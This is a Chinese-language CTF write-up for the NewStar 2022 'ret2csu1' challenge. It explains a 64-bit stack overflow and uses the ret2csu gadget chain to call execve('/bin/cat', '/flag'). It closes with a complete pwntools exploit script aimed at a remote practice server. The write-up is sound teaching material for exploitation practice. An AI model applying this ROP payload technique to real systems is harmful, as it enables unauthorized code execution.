2022NewStar新生赛—ret2csu1
先看看开了什么保护机制
打开64位ida看看
很清晰的一个函数,就是一个栈溢出,可以溢出0x48的大小,然后去找找system之类的
有个后门函数,点进去看看
有个execve函数,但是参数完全不对,这个函数的参数可以去看看我这个博客
[快点我去看博客](https://www.cnblogs.com/xyqer/articles/16757374.html)
也就是说我们得去找找/bin/sh或者是/bin/cat
一看,刚好/bin/sh和/flag都在,美滋滋
去看看他们的地址是多少
/bin/cat的地址可以直接用这个,但是/flag就不行,我博客里面说过第三个参数可是不止/flag,这时候我们得去源头看看,去看看哪里截出来的/flag,点击ida中右边蓝色的字就会自动跳转过去
aBinCat是/bin/cat,aFlag是/flag,第三个是0,齐了,那么这个就是第三个参数了,这样子参数齐了,我们直接去找万能gadget了,因为像这种三个参数都得自己写的一般只有万能gadget,不过保险起见我们还是ROPgadget搜索一下,顺便也看看万能gadget的地址,省得自己翻
看了一下,只有rdi其他的两个都没有,所以我们得用万能gadget,万能gadget一个很明显的特征就是pop r12;pop r13等等,那么我们就去ida看看万能gadget了
看了一下,然后根据不同参数去不同的寄存器,排一下就出来了
from pwn import*
#p=process('./pwn1')
p=remote('node4.buuoj.cn',25708)
bincat=0x4007bb
p.recvuntil('it!\n')
gadget1=0x400710
gadget2=0x40072a
payload=b'a'*0x28+p64(gadget2)+p64(0)+p64(1)+p64(0x601068)+p64(bincat)+p64(0x601050)+p64(0)+p64(gadget1)
p.sendline(payload)
p.interactive()